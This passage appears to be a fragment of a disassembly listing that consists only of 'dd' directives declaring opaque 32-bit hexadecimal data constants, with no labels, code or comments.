123E76C1h dd 17B6CAC3h, 98761C46h, 0DC12A695h, 3F8D36CFh, 30A7AF72h dd 0E754BDFFh, 14E9AED6h, 7E05F3D3h, 0B4A967CCh, 3FCB1541h dd 15504EAAh, 8CF1AD37h, 66E8FE81h, 93200307h, 850F7F92h dd 40760ECh, 83A2FA51h, 939BE217h, 970BFF20h, 5FCFE95Bh dd 0D180D73Fh, 931E1B0Dh, 0A7FA7FCh, 373244F0h, 9153A915h dd 1B834BF8h, 467286h, 0A88B2787h, 2826293h, 31B22865h dd 0B1FDE752h, 5DEA08C7h, 7C1F3AD4h, 98FE8525h, 33805FCBh dd 0FFB3600Bh, 0C453AF14h, 0A37F72D0h, 5944E38Dh, 88A0D9BAh dd 3F913121h, 9745C23Eh, 0F04AD298h, 74D92136h, 2F1F0C95h dd 0B0F5C510h, 0DE8CE02Fh, 2880F5AEh, 95E73AB7h, 2038A143h dd 0AAD21FE5h, 66266602h, 0E4421577h, 7758F411h, 7F82A82h dd 0A44E7689h, 9F84F850h, 7E925E9Ah, 0C7693F28h, 0F29D853Fh dd 7A2FF843h, 29AA8967h, 4DE80479h, 0C4E42F26h, 0F80A254Fh dd 0E54650Eh, 70B10C69h, 0CBC68442h, 1141DA3Fh, 91B2924h dd 0FC74DC0Bh, 0DC0241A3h, 79C7BCABh, 7C744134h, 0BCF20159h dd 1420D0A2h, 2968D40Eh, 55CD8DAAh, 0B35C9C47h, 9298C9C2h dd 0F2A9E383h, 0CFE4B568h, 5D2EB9BBh, 0E9C8C356h, 2337421Ah dd 749073F9h, 87D79203h, 226DA37h, 0B27DCCDFh, 0DF842568h dd 0BEB257CCh, 60ED2E0Bh, 217E5A17h, 4EB21C27h, 39BAC4BFh dd 7ABAC923h, 0FA199EB9h, 90127363h, 5E141771h, 0BE267B17h dd 1EEE45CFh, 82E1C5h, 0C2B841B3h, 64A9150Bh, 79EAAA8Ch dd 6ACB01CFh, 29042AB6h, 6734B858h, 0AF34B360h, 0CF0DAD2h dd 0FCE191FAh, 0EBE0C704h, 0C9785D9Ah, 0E02C2B80h, 18228C42h dd 52022C0Ch, 0C9B1B36Dh, 54EA6390h, 7183418Ah, 6C55C031h dd 48442FA4h, 1E50F1B4h, 0E21962EDh, 0DCA19481h, 59033BFCh dd 0FD9A2BCEh, 4453EC9Ah, 37D63CD3h, 50548128h, 0B2B037E6h dd 0C36E671Ah, 83158A36h, 0C4CF95D8h, 0E9EBCE00h, 0AF85DC6Bh dd 7B7A5C84h, 87F15004h, 2707A156h, 0E8607409h, 80BD183h dd 0BB1E617Eh, 0CCC718DCh, 4D3FE31Fh, 7F65DD05h, 0C977DFBEh dd 9C72FDABh, 0C9FDCD43h, 0AB9CE507h, 4115BC24h, 0E7BB5753h dd 6559ED74h, 63571005h, 9F53247h, 0A75CB166h, 0E374FD74h dd 7B59432Fh, 7516A2E0h, 9BB41F6Eh, 484BA4C8h, 9EBEFDD7h dd 0DEE2B6AFh, 36357BE5h, 3012BDA2h, 0F1B5D940h, 1D9D0FE9h dd 0B4BCAAFFh, 0B739B468h, 0EAB131DEh, 1D9E8D42h, 22F03078h dd 708D4C8Eh, 5D9EA613h, 909F8B6Ah, 330857DBh, 39439759h dd 375B3BC5h, 0D5A399C2h, 5F6C7682h, 23AD8AECh, 5F07ED96h dd 0ED08DF95h, 0CBBAE34h, 0A8D3AF77h, 0D7AB9A78h, 4AAF2D8Bh dd 185403E1h, 248781DAh dd 0F9BCC6EBh, 157B3020h, 2806F665h, 0F242A372h, 0B94EB8B2h dd 8025EEF3h, 0E32676B2h, 3331B8Ch, 0D9918680h, 6C830A30h dd 9305B4BBh, 0D60AF125h, 0D640D152h, 331DFC5Eh, 8D9121B5h dd 285DEC1Fh, 0AEFC33B7h, 0E83C294Ah, 8AA4BFE1h, 5C9E0F87h dd 4C4920h, 0A64387E7h, 0D5AFBB1Eh, 0C64B114Dh, 2F1A3601h dd 7E8AC99Eh, 32793D5Fh, 30DF2CDh, 555F8F7Fh, 0AA1EAEC3h dd 62AA77BAh, 0C953BF32h, 8F6C4BE8h, 3ECE1A5Dh, 32AC87E1h dd 8A91E281h, 0F3FF40E0h, 0DEEE81E9h, 0FA81F19Bh, 0F2671991h dd 9CCA6C99h, 0AC623486h, 9FF92E11h, 0B7C5A010h, 0F88CA40Ch dd 365A6C3h, 85601485h, 0B79C61F0h, 0FB9A2FBAh, 0BD443364h dd 86F53C45h, 154BD800h, 7C8A54h, 6321AB24h, 0EE5A3240h dd 4845E280h, 8319A597h, 0EAD57D32h, 54518AA2h, 86524BAEh dd 18556385h, 0C4D3790Ah, 0A67DE782h, 0D2A7710Ah, 758AD758h dd 6C330651h, 14AF96C2h, 0AF116AC4h, 0C154C619h, 5F189F5Ch dd 639CAF09h, 3664DE14h, 0DE18182Ch, 2951658h, 17482EF3h dd 5AA018CDh, 50C0A4CFh, 8AEDB8D2h, 0AE28C5A8h, 1B983758h dd 0B719E610h, 83229C9Ch, 0A95C72E1h, 0B16C9E95h, 31EF142Ah dd 0B3A9285Fh, 73538FACh, 129A255Dh, 83F83610h, 1AA9067Ah dd 1157C903h, 18397DC4h, 83A4E571h, 3C350605h, 0BC90E301h dd 10408415h, 0AAD420CEh, 0CDF4F1h, 0C93CDD98h, 6DC407AEh dd 1B8780AFh, 0D33E0AEBh, 5832EDE1h, 0A8C493E5h, 40332370h dd 5A318CB1h, 0AAE2F831h, 0A72E4914h, 12DF1823h, 0D3B6B6E3h dd 4118FAECh, 0DE813C05h, 0BA47CA08h, 0DAC38864h, 0E6086D50h dd 260D2881h, 931616BAh, 843F2E2Dh, 0FF3D9C8Ah, 460E0579h dd 343D33A6h, 4942D342h, 89A433EFh, 0F41C8595h, 0BDE7C19Ch dd 0FDB08D62h, 0B284235Ch, 0D3386594h, 319C3534h, 0DA4E892Bh dd 4B9C63A8h, 55D8DA89h, 4C549F17h, 80FD0BC1h, 0C9E04A83h dd 98F34295h, 0ADD8CC71h, 0D60280Ch, 1C6B8880h, 47176FA5h dd 1959EB97h, 5328F00Dh, 60C6649h, 72A0CAF4h, 44EEADAAh dd 0EC252899h, 87D8281Dh, 960D6C49h, 627AB86Bh, 0CCEB8B16h dd 75B7EE1h, 1783137Eh, 4C521363h, 179B133Bh, 0C24CC1A0h dd 4ED07626h, 408DAA0Ch, 9F08D2C8h, 32BCF1D8h, 0B903D009h dd 801562EFh, 0CD4FB898h, 3B14607Fh, 9D36572Eh, 0CCAC6AB4h dd 0FA739127h, 6910177Fh, 1A6C13AAh, 7E6A96A3h, 0E22E5A62h dd 4BD29C75h, 418AAF31h, 752FC402h, 31481203h, 0A06303E7h dd 48D8C4D8h, 1430DC60h, 8619006Bh, 4B981632h, 0A5A3A91Dh dd 40C1AB12h, 22D456EFh, 4BA52840h, 79BF4070h, 0C947C17h dd 2DF698ACh, 0D68BAB3Fh, 676E46EEh, 33317E27h, 38C59796h dd 26A1FA45h, 945C8D61h, 2C6BB406h, 849C8142h, 2C2BD74h dd 0F59ABAE5h, 6690FFD4h, 7C995249h, 1B6BA03Dh, 818D4D23h dd 97AE0266h, 34DCE26Ch, 0D31C6029h, 9B51A544h, 21962CEFh dd 0A3B93061h, 6AC2814Ch, 0A1F50381h, 0ACCB5F02h, 6C348DC2h dd 240F74A2h, 42FB05Dh, 9094C450h, 5ACCD41Ah, 49D4495Bh dd 8027A577h, 4E2229Ah, 0A68AD9CCh, 1C4534E6h, 9A3D3A1Dh dd 84CCA60Eh, 78BC0362h, 0DCBE57EBh, 91806A8Ch, 2E9A93C2h dd 0A64A397Eh, 0F98B3A8Eh, 0A992969Bh, 0F2F9DCA3h, 0FD86A8A2h dd 0E18B43A3h, 0D415CBE4h, 3074BCC0h, 7E395384h, 397A9861h dd 6B04A8C0h, 8A03E220h, 0AA75C69Eh, 183B2826h, 9982A805h dd 7EC0C11h, 0E6202EAh, 7C65C8A9h, 0F1909E5h, 753305F0h dd 28A90959h, 821467A1h, 390CC855h, 0A2642Ah, 0F0504664h dd 0C6FF4050h, 0F6091D67h, 5FA3E376h, 1C70FAADh, 285CA95Ah dd 97A36431h, 0F8DFA38Bh, 0B4E443C2h, 98481D12h, 690C4054h dd 65762E81h, 59785927h, 42973B99h, 0DC449FFBh, 0ED0DAB20h dd 6520CFEEh, 0C3415F43h, 80D25898h, 2FFF75FDh, 87510783h dd 38CDC0AFh, 308A7FBBh, 8CD228E3h, 0DE816193h, 0C779525h dd 21EF0702h, 0D660474Dh, 567BA920h, 769B3436h, 90F1FF23h dd 0D5D738F0h, 0B9548D85h, 2F97413h, 0FB3B471Ch, 0A2B2C3B6h dd 0CCB9A5F2h, 0A1C63D06h, 7AD00BBCh, 98156B18h, 99A5326Eh dd 77117653h, 0DB0CEB26h, 52040662h, 9302ED0h, 46090C3Fh dd 0C5415AF5h, 0D4EA1AA8h, 2A0A0CA8h, 989AF565h, 2D12804h dd 8396E9F7h, 83A14A71h, 67528BEh, 397785B1h, 38473449h dd 0F7114DEBh, 68A4AF72h, 8ED6D7A0h, 0FD9924E9h, 0D263B022h dd 86F2C358h, 8BA24DE1h, 0B64E2EF5h, 3242FC88h, 567464FEh dd 5F02DA01h, 0E7D44568h, 510CEAAAh, 0C05D2FD3h, 80877F6Ah dd 865ED338h, 3C86E04Fh, 2281C80Ch, 74755540h, 0D8DAF47Dh dd 0F0485717h, 3EA2FE3Eh, 294EF47Dh, 9375970Eh, 0FE61C42Fh dd 3140FA7Dh, 206F8013h, 172889A2h, 286ECC17h, 2CB674ECh dd 7684F083h, 60CB0163h, 0C692D3A5h, 14C21B04h, 7DFB0ED8h dd 18321286h, 7CA244FBh, 0EB40A471h, 0F70A7D35h, 794A1A1Ah dd 726F2045h, 0ED37370Bh, 0E4DE59A1h, 0DB560AF4h, 25D2B91Ah dd 3A032DB4h, 92E61462h, 3FDCCE05h, 2B59F7DEh, 471F1D78h dd 2A6E6DDDh, 14FA1021h, 59CAA610h, 4D433DF3h, 46A1C0DAh dd 5A95B240h, 91FA9D39h, 8087F46Eh, 0EABB8990h, 0EB25E881h dd 0FC5FE829h, 136A5168h, 0F8ADAE48h, 0BF50A1A3h, 0E8D9FDCAh dd 0A23FD412h, 0E2BACD95h, 431374F0h, 0A1F76173h, 0EEC4BCCCh dd 0DE595AF7h, 0E7DD75D0h, 0AF054188h, 9455A5D6h, 361B6195h dd 0F8322F22h, 22830EE9h, 49E9AC73h, 0C3F5168Bh, 67C5978Ch dd 1C5EEE6Bh, 0A326724Ch, 5F60481Ah, 0BBD2FA5h, 0AF2CFFDEh dd 879A577h, 0A4F4741Ch, 0D3B84F32h, 4F3439C1h, 8AF52AEFh dd 5977DD7Fh, 8965940Dh, 0B120A7ADh, 0D50FBFB8h, 57549DF7h dd 4436A11h, 0B2AA4594h, 0D98FF61Ah, 2027FEDh, 733DA334h dd 92E9AD32h, 2EF35732h, 0C04D33ABh, 5DA2E08Bh, 0FC3F7265h dd 0C61E0BF3h, 0A67A9978h, 41E57A45h, 383FBE2Bh, 46D7DEB4h dd 479D61A1h, 2216E412h, 23CB6D1Fh, 35E18FC3h, 4547575Fh dd 853BF35Bh, 465F0515h, 0AABB3270h, 9D02470h, 787E2CACh dd 1577A63Dh, 0FAC83270h, 0C3E2A692h, 7F9A621Fh, 278C80E5h dd 0AEF72766h, 9572F0E8h, 46522D4h, 682B2949h, 0AE6AF1D6h dd 0CA8C2997h, 7C5DBBDCh, 48335252h, 408C0FF9h, 836FC6B9h dd 728C9554h, 7A1F23B4h, 0EAAB2802h, 92EA66E9h, 0CA101E37h dd 7B99140Ch, 0ACAA6499h, 76AB845Ah, 0B30AC85Ah, 1D808C9Eh dd 0C26D8481h, 5DCC93C0h, 752B1466h, 0C7C5C58Dh, 30ABAA62h dd 569401A3h, 0B3559535h, 562C1BB5h, 0B9406726h, 8CB38892h dd 89018C9Ah, 0A2E2C75h, 359D7262h, 0BA4A6B13h, 8BFD2C47h dd 0C5F4B69Fh, 51924A16h, 0F0F23234h, 77F03D75h, 2D0CC1A8h dd 0AEE24ADDh, 3102D667h, 689CC453h, 5AB2B76Eh, 49741897h dd 0D2C7FA05h, 0C7579A30h, 597D23ECh, 65C46E6Dh, 4C670155h dd 12107D40h, 555D26CCh, 7F5F15F4h, 0C39DB17Ch, 0BB4A49D3h dd 5C50CCD6h, 173555AFh, 21893622h, 5EA128DDh, 5DC6F43Fh dd 0F1F56E54h, 0B47A1DB2h, 0E0B64257h, 0B5884525h, 819CA005h dd 0FA079B04h, 2A06AC35h, 3BF98C5h, 0DA19EE91h, 0EB671B5Fh dd 6A6F0332h, 1E1F6186h, 0AF1D5BF3h, 0E0A1620Eh, 0E0F9E0DCh dd 0C7940CDEh, 5AA4E39Ah, 0C479A50Fh, 0B4EC1688h, 0B7EE7E36h dd 0A65D3E76h, 0F86A177Fh dd 704D22A6h, 4610A331h, 0BAD4880h, 926F9591h, 0B1F911FAh dd 666CC052h, 89F43902h, 0B7AEE6F9h, 0BBD7D080h, 0E2D8C1FFh dd 4B0A316Eh, 5B3A6673h, 0A5D82719h, 0CF213D75h, 5225BB09h dd 0CBECC64Bh, 0BF9965AAh, 0B5DBE6BCh, 951696C5h, 1DD4ED60h dd 6448448Bh, 82200191h, 9C6551DDh, 466B0B28h, 8883418Ch dd 55638ACh, 72084DD4h, 3ABDC812h, 0BF481758h, 175922D3h dd 0D3C51879h, 3F8C9E46h, 85F2F2D0h, 65A06C10h, 4BA0721h dd 74F7A029h, 0EA14C6F1h, 613EB68h, 38B2A397h, 0E39FF400h dd 17A021D0h, 9FAE2EECh, 4EE024CBh, 5CA92605h, 0E81F123Fh dd 8971503h, 0E0142A72h, 6ABDD8C9h, 44887EBBh, 0F4537313h dd 0DBA1C23Fh, 0E0CDDEBEh, 9BA70487h, 7D9082ADh, 532B88D4h dd 98F5F2C9h, 0A8C95562h, 0D374C65Dh, 0E6919371h, 9C0E434Eh dd 0F9113AC8h, 58964C4Ch, 7166C5D1h, 9E545174h, 0B70C24C6h dd 6F886829h, 1004FDA8h, 0BF80054Ah, 0B4F0E23Ch, 257D338Eh dd 0C13BB321h, 0D4E09A93h, 8BFB9EAFh, 0D02766AFh, 5288F07Ch dd 8D0F5A0Ah, 0AD08BF53h, 0AF90A82Ah, 9F0AA2BCh, 928535D2h dd 6759C52Fh, 0C228FAA1h, 5F51FD6Ah, 0E63CEB44h, 4D55FD79h dd 52029CCEh, 0C9CA7A48h, 5BED8E60h, 602A15B9h, 0B824588h dd 0F629EC57h, 7FEFF15Dh, 45EC499Ch, 329DE7C7h, 0D2122AF5h dd 5EACAFDh, 33D4031Eh, 0B362E488h, 95693EDAh, 0DE1E2BA7h dd 29478811h, 406C61F9h, 0B3E1EAF3h, 92C4379Dh, 9B853D8Ah dd 0C28DC0DEh, 25F744BEh, 3408A5D6h, 742F0142h, 0D2093AF0h dd 0FFCA65E5h, 0C8A80A6h, 1F0A28E1h, 0DCBA15A9h, 3EA457C3h dd 6369A9h, 46301499h, 0B30CDDEh, 729A70E3h, 0EB646F8Dh dd 0E1EB1CC2h, 1250429Ch, 629A8630h, 0F9B81734h, 0A8086973h dd 8DA4F749h, 133DCA12h, 0BF02BC47h, 8FD1696Bh, 3D71720Eh dd 5014227Eh, 0C167A2D5h, 28638A86h, 607EDC76h, 0CC6DB8CCh dd 381A575Eh, 6E5CD118h, 0DF063126h, 0BA4C97E9h, 97AFF3Eh dd 8623D64Ah, 0BEA0A376h, 1202E608h, 58554166h, 5793C81Ah dd 0CBC02A64h, 892624F5h, 0E6359608h, 0BAC25791h, 0A0031D9Eh dd 0AC93E0CEh, 62479064h, 3979BE10h, 2C5D307h, 2E865037h dd 679185E4h, 7DF33CBDh, 523A5FA5h, 85A703Ah, 0CA70AC63h dd 0A45FF0BEh, 6386FE20h, 0B88034Dh, 74180A03h, 0A2701504h dd 0E0B30285h, 0D7489A6Fh, 0DBF8F8ACh, 107B142Ch, 0E282AA11h dd 48D6847Ah, 220BE305h, 40088816h, 5AABB8E4h, 0B810E911h dd 93C6DAF8h, 5FCC657Ah, 0BAF5756h, 0FEEBA1AAh, 4A671227h dd 177EF05Ah, 18FEF80Ch, 3EF2A35Ah, 4313D812h, 11FB6093h dd 706F6540h, 2D4EFCAEh, 5DDD0BBEh, 9F97EED1h, 0C1FB6229h dd 0CD122248h, 0EB1F2FBh, 0F8E7AF7h, 0C0594E8Dh, 0ADF8B14Fh dd 94B908ABh, 70126A2h, 2114FC9Dh, 5649FCFDh, 4CB9CAA2h dd 5E85629Ah, 15063015h, 2440C608h, 9BFD0205h, 29489E22h dd 0FAAE2B65h, 0C90001CFh, 6C522B28h, 2F74F140h, 8AAA6C28h dd 0CE7B8DAh, 0E8752423h, 0A4608EAh, 6C0C22A2h, 1EBA592Fh dd 0EE8CE14Bh, 59ED5341h, 45FCBDC1h, 462133D2h, 695CA802h dd 4846772Ch, 42AF8D27h, 1D995606h, 402F84E0h, 61379A95h dd 0D729F81Bh, 0DEBABA70h, 70EB0185h, 0C12D6CC7h, 0F6151034h dd 0DE35CB62h, 0A6F6A0D1h, 26202566h, 0EC4348F8h, 2C75B09Bh dd 0A00FD703h, 893D5710h, 0C4A0316h, 80946815h, 0A3004072h dd 99048906h, 0B8A03B30h, 63BC22FCh, 0FA030E5Dh, 0B4BE6A2Fh dd 0AA48EB8Bh, 0B2778EF2h, 28C0F913h, 8AE05848h, 0F1148501h dd 0CC46BB70h, 35F1F53h, 46A1216Ah, 3E8D0322h, 1BCE1D9h dd 285DC45Ch, 0BB13D1h, 0BBCEEF91h, 0F7DC0174h, 0E139F830h dd 0AF2B4465h, 40AE0E61h, 1482DA02h, 2105D0E0h, 32451698h dd 3133078Bh, 17D0F7C3h, 1CC2FFD2h, 6D80CD40h, 807BD492h dd 63CDFFFFh, 2AA7E0ABh, 1ACAA1EFh, 42F8BC32h, 3D4D819Ah dd 554F574Eh, 431D8116h, 3889C304h, 49B3FE55h, 33DFAD4h dd 0F5BA2C6Ah, 59B5D521h, 0B3815AD0h, 0F7EE35A2h, 2EB5BE9Bh dd 91A7D93Fh, 0B151963Eh, 28C04481h, 0C931DD12h, 0C3B748E1h dd 0A8591Ah, 30596331h, 2AA32994h, 0D6BDA9B0h, 0A0E710F0h dd 7E245720h, 9C4FEF88h, 2AD0AAB5h, 57567FC0h, 0E59DB8D0h dd 1AEC55BBh, 7625F24Eh, 531827ACh, 9C62D639h, 1FD4C67Bh dd 6A0BD5B8h, 2B861984h, 0DB28413Ah, 16F428C5h, 431A1963h dd 0C7AFACE5h, 0EC20CF60h, 0A0663ACAh, 0DF857804h, 0D728A737h dd 0A819FFB6h, 262AE648h, 0A6FF9019h, 1BFC1132h, 44EB01Eh dd 8E13C0CBh, 60FE8BA1h, 6301E0FAh, 0C2B91B15h, 0EFF7E2BFh dd 0BAC8538Ah, 0BBF1108h, 738F5B02h, 2AF22A3h, 0A9EED089h dd 0F2FA4C6Ch, 3F931588h, 9DFF266Eh, 27473118h, 0AFE297D1h dd 0E893331Eh, 0F856670Bh, 0CF2F3CB2h, 0A5D34C43h, 11C2A2A2h dd 1149AC05h, 9CB9CD74h, 4A052DFDh, 895D74F1h, 4569D385h dd 8B5BE0E7h, 7E044A77h, 0A5B2393Eh, 348753C0h, 6062B68Eh dd 8BE78047h, 8855B2F8h, 4940D988h, 18CA3C97h, 29280A78h dd 31FEA0EFh, 2A4DC816h, 9D47E285h, 178ED5E6h, 57C56A81h dd 0BAAF0F34h, 0ADE1B882h, 0E23538B8h, 0A27A2BCh, 0ACBD55DBh dd 7E577D6Bh, 9F525314h, 5A5B3E17h, 0D6932C62h, 6EFEAB9h dd 0E15EBEF3h, 1798A5F1h, 0D4A9B842h, 52CE814Dh, 6C00D49Fh dd 4FA3C0B6h, 16757BFCh, 2F22C1BCh, 0DB4275DDh, 0F920CD0Fh dd 0A17D8A6Dh, 68EC31F1h, 0C589A890h, 0AFE01312h, 0B9574ACh dd 0C970783Ah, 0BFC3B18Eh, 88062529h, 5570302Ah, 29E852AAh dd 6BB23886h, 841E62EBh, 1254BE21h, 0B0BCCEAh, 296069B3h dd 0B4DFCD22h, 0F828002h, 65BE96Eh, 2E311056h, 26EFFF45h dd 83A1F06h, 640B5C70h, 8EC438D8h, 0D08DED41h, 6FFA2E90h dd 7D70C499h, 0F902DBFCh, 88A63014h, 0D0810C2Dh, 0AAE0E8D0h dd 43A72174h, 684D276Ch, 0CF1727D7h, 7A2C8CD2h, 43106227h dd 0D1C891DAh, 0A1B1AAC2h, 0C944620Ah, 0A77C07A9h, 0B0B2E559h dd 4F19EBACh, 25B4B090h, 0AE67B899h, 5CF59195h, 69201973h dd 1AEC917h, 0E77A8152h, 0F36930CAh, 973E1EAh, 2380B2AEh dd 0ECCFECD3h, 3EB09668h, 0B367B2F6h, 2D5DC2E2h, 35B19A6Fh dd 0A4E6F586h, 692677DFh, 7B0DBECEh, 4FE57BACh, 0E611587Dh dd 83AB17FCh, 0C48BE819h, 0AF5BC8FAh, 0C830F819h, 78D492F0h dd 4E226CEEh, 0B106FD06h, 8084A6E9h, 4D906BB2h, 18CAE907h dd 262BBA4Bh, 284E4888h, 5E0828C0h, 0AE8D103Bh, 3AE18E07h dd 0CF388A23h, 962BB390h, 0A0CBC341h, 83EE24Fh, 0EA306205h dd 23C180C1h, 0B05183DDh, 585DF4A8h, 3BA75C54h, 0C0E7675Dh dd 3B41CD91h, 286E03Fh, 0DD639C3h, 9CBB670Eh, 285D4202h dd 4628A424h, 3FD9FB01h, 66473455h, 0E0C841B0h, 0FCEC019Bh dd 41FCEF7Ah, 0D2E4BE34h, 0C5E58F56h, 0E5DDD46Ah, 9661B9AAh dd 57D0EE9Eh, 0EAABE824h, 3E82C6CAh, 27D0D07Ah, 1FC7C7D3h dd 5220F3A9h, 28A9D058h, 917152A1h, 0F7810084h, 3E8287B4h dd 12F45484h, 6A16BFC3h, 0A269EF55h, 124FAFF5h, 5720877Dh dd 0EF301F7Ah, 1F448BBDh, 11E1144Ah, 745A907Dh, 96008A72h dd 7651F924h, 0B71BE41Ah, 8B860BB4h, 2C48342Bh, 447C6CF1h dd 53AD059Fh, 0A240BE1Bh, 0AFA222EFh, 4A59443h, 0B762428Ch dd 79CB1FD7h, 2166DD15h dd 262C67D1h, 379846CBh, 88ED10F0h, 18612310h, 49C9D395h dd 0AAD24A91h, 3B1C7842h, 1511D8C5h, 0B60DDE4h, 8D95F3D7h dd 528626C5h, 6B352E10h, 0D42BCEC1h, 6EB455A8h, 20E81597h dd 70F25D49h, 0F2B470DFh, 0B5CE6ABDh, 39A8A8CBh, 0A4F1A4A9h dd 0E456A943h, 4D97321Eh, 97E632A4h, 2A85CFFDh, 0A444F88Ah dd 0CBA459E8h, 0C89D2398h, 0F4F520B9h, 4FA94ED5h, 1F6F9901h dd 50B4681Ah, 0DC23FC57h, 0A1525941h, 54C907ABh, 0A4478856h dd 5AF985F1h, 0D62F8F3h, 0C3E25B2Fh, 705D0185h, 504CC407h dd 65695888h, 0DD26207Ch, 8F133080h, 86C8AAE8h, 0A40205F8h dd 6204ECADh, 0D8382149h, 0E350288Fh, 12A96418h, 0DB452A6h dd 548B1857h, 0CECA54AAh, 4899AA77h, 0D29A9596h, 0CE31BE8h dd 0F99D82B4h, 31F412E8h, 0BABEA2E3h, 930525DEh, 2ACD22EAh dd 4071788Fh, 0AFBBE734h, 0BCE6D4D9h, 925E817h, 126C998Ah dd 0A380799Dh, 77BAAFC2h, 0AB85831Ah, 3B46B54Bh, 8DADA1E4h dd 4E418429h, 1D17AAA8h, 0A06522E9h, 9C4377F0h, 0E19C3C9Eh dd 99B11F60h, 0FC318594h, 0FA2C108Ah, 1A7DF3C5h, 0B5461B2Fh dd 88F3BF8Ch, 0AE132D19h, 0B216AB04h, 0D8AE7797h, 6B21FB23h dd 0F66D96Eh, 34606C0Ah, 21F8C8F1h, 5CB4CE50h, 29CBDA0Bh dd 0BF7ED37Ah, 0C0C48895h, 7057B313h, 0BE0DE809h, 974DD182h dd 32AD350Eh, 5F9FF6A3h, 72C8570Eh, 0A560BC22h, 0B00A1A8Ah dd 41D73A98h, 771F51C6h, 9091A0A8h, 5B578C71h, 0C4C8563Ah dd 8DAF4E34h, 6C7ADAD9h, 5D23432Ah, 0C9CC60ABh, 51EB6798h dd 8F001F1Ah, 0C7F2C13Bh, 0E6E3C408h, 88D1C18Fh, 2B6204EBh dd 36A98B33h, 0EFF96733h, 0F83E4567h, 3DE2C5F3h, 531E182Bh dd 0F2BEFB46h, 0AB5EC5D6h, 0EB2E2386h, 5D2CFA4Fh, 66F5E58Dh dd 9E7D38D8h, 2E71F4A0h, 86D925C5h, 35777D2h, 0E0F97A22h dd 3D03D7DDh, 0CFC1E0AFh, 0E4B34199h, 1A89F850h, 30AB62A7h dd 0CC70862h, 59C0AB3Eh, 11731C75h, 169CDB59h, 700CDC5Ah dd 7B44F0F6h, 354D2B53h, 0D350D5A9h, 0A51767ADh, 9D289598h dd 74148D27h, 50190D0Bh, 0B5180174h, 0B8C8E87Ah, 83A4391h dd 8099A575h, 7967F84Bh, 4D223151h, 5BB2D18Bh, 9B0C642Dh dd 0E9C5EF23h, 6C6859A9h, 63A351B1h, 2F6B0BA8h, 0B6B4E865h dd 0CE3C3E2Bh, 0DB85F8E8h, 489BE86Ah, 5AA0DB00h, 987DF7EBh dd 7E268C16h, 69211AEDh, 904A0110h, 0C0550C5Ah, 0F175460Fh dd 893DD1B5h, 0A26C1D9Ch, 0D052DCB5h, 16D68052h, 78DE7474h dd 2EBC7ED8h, 3DA98B22h, 0A4A0930Ch, 0EAF4124Dh, 0AF6FCC3h dd 5B73513Ch, 76841FF3h, 847563DDh, 3C7727A1h, 0DCC2210Ch dd 83E6C925h, 0EE205229h, 0D7FEFFDDh, 0FBD3ABC3h, 16B36005h dd 0BBA149DFh, 0DF68BB5Fh, 86EF7EFBh, 584162Fh, 7567155h dd 242D6661h, 0CCAAC05Dh, 2B621CB4h, 0B9A0F8A1h, 0F4EFF8ABh dd 0F8BA4A54h, 164BB74h, 702F8219h, 302378C2h, 0CC9C3E63h dd 2BA53E20h, 0D901DF8Fh, 8260ABCEh, 2DC84603h, 4F7F9904h dd 74A0A062h, 212FE1CCh, 7042A5Dh, 0CB10D261h, 58845F5Eh dd 0E9A06841h, 4E31208Ah, 74494EA2h, 2E0A023Ah, 226BEBCDh dd 6874DE5Dh, 0BEDC19A1h, 2525E23Ch, 589D80B8h, 96829970h dd 0E80171EAh, 118B5C7Dh, 382723ECh, 7F6D5D14h, 0F29A0E2Ch dd 554740F5h, 0CBE8CC96h, 0C435601Dh, 0FF2C7494h, 59CDD760h dd 7C90FB12h, 4B453621h, 2BC24CFAh, 0FD54443Fh, 0A84AA933h dd 8BF26AD6h, 0B49FB7B2h, 76192698h, 4E2BC3Ah, 0FC0CF729h dd 6021BCA1h, 9655EB43h, 169C43F0h, 0AE5C6FC9h, 6237FB5Fh dd 3607271Ch, 42714503h, 0E654C7CDh, 529FBB97h, 59A116D5h dd 283E186Eh, 0CCFAA274h, 1088BDD2h, 868BA6BFh, 3108EE81h dd 626A2AF5h, 5A855F21h, 156EBAC2h, 80C2BEFEh, 8ADF50A9h dd 6028E02Fh, 0E9D61903h, 0D73DF099h, 2204C1B5h, 9540C655h dd 595588E2h, 3E0EE684h, 3FD35071h, 7806B640h, 83FBA1F4h dd 514B6B45h, 0E9654175h, 0D96345D4h, 416AB8B6h, 19971770h dd 0AF49A7F5h, 82499BCEh, 0A5A3E9C7h, 64602880h, 8D013E0h dd 0F44055A6h, 532AC478h, 324C0D57h, 0BB5FC82Bh, 965BA77h dd 0C635C2Bh, 0D256A0CBh, 80E106A0h, 2D1F7471h, 0C70BA45h dd 12D0C24Ch, 47A72C45h, 20B680B3h, 0A146C1CBh, 0EF2ECE66h dd 252556A0h, 2A3678C5h, 0F007279h, 5979A6FDh, 75BD0C40h dd 0DF6A022Dh, 6CCE35A0h, 578229FCh, 4EF94F10h, 0FBE9845Dh dd 42709893h, 82E104B9h, 0E74034D8h, 42630D7Ah, 65074F04h dd 0C377A163h, 0C5D26650h, 88302A71h, 0D9E631A1h, 38CA3243h dd 3F0A0FB0h, 84D4E741h, 0F2F4A01h, 2AB1BB11h, 0C8F68112h dd 2BF1997h, 52070FF3h, 68574300h, 2BDC758Ah, 0C4C3FB39h dd 1FC0301Fh, 590C580Dh, 2B5A3379h, 7F05096Eh, 8F05E5FEh dd 0CD5BAB63h, 29BB200h, 446B4B41h, 846B4251h, 0ED226254h dd 0A05B825Bh, 0EA6B1A3Bh, 8055DE12h, 0C025512Fh, 0C225A444h dd 0A0C43E46h, 9581CDD1h, 0DF7F0A6Ch, 47209B9Dh, 20A0311Bh dd 0EDF865D5h, 636C8D7Ah, 0BD419759h, 31375535h, 1CAA7866h dd 92C08820h, 54537841h, 863B4343h, 76134028h, 71CB8E58h dd 0AE215882h, 8729F5Dh, 4882F683h, 0DC9A9B55h, 5B021A04h dd 0D914584Eh, 0A1544812h, 9E6D6368h, 2590B1C0h, 79811488h dd 0E182495Bh, 333A3B83h, 19887DFAh, 60134036h, 96044C40h dd 0A747E07Ch, 6786A288h, 1114D26Ah, 667D2294h, 7825E0FAh dd 9AC1D5Ch, 3E58A04Ch, 87891C32h, 70D424AFh, 90A459C2h dd 1A8881A0h, 6854C322h, 52082301h, 8A40E134h, 0E417220h dd 66258E48h, 956C98ECh, 0F06EC33Bh, 0EC895A91h, 0CA109357h dd 0C71C1506h, 0C62A03B0h, 7AE46252h, 507D3142h, 39302042h dd 95F67FC5h, 3FFE2C49h, 677E4180h, 20FEC2F9h, 0D18011Dh dd 888108D4h, 73FEAA6h, 34C1FF22h, 0FC81FAEh, 5B0185E7h dd 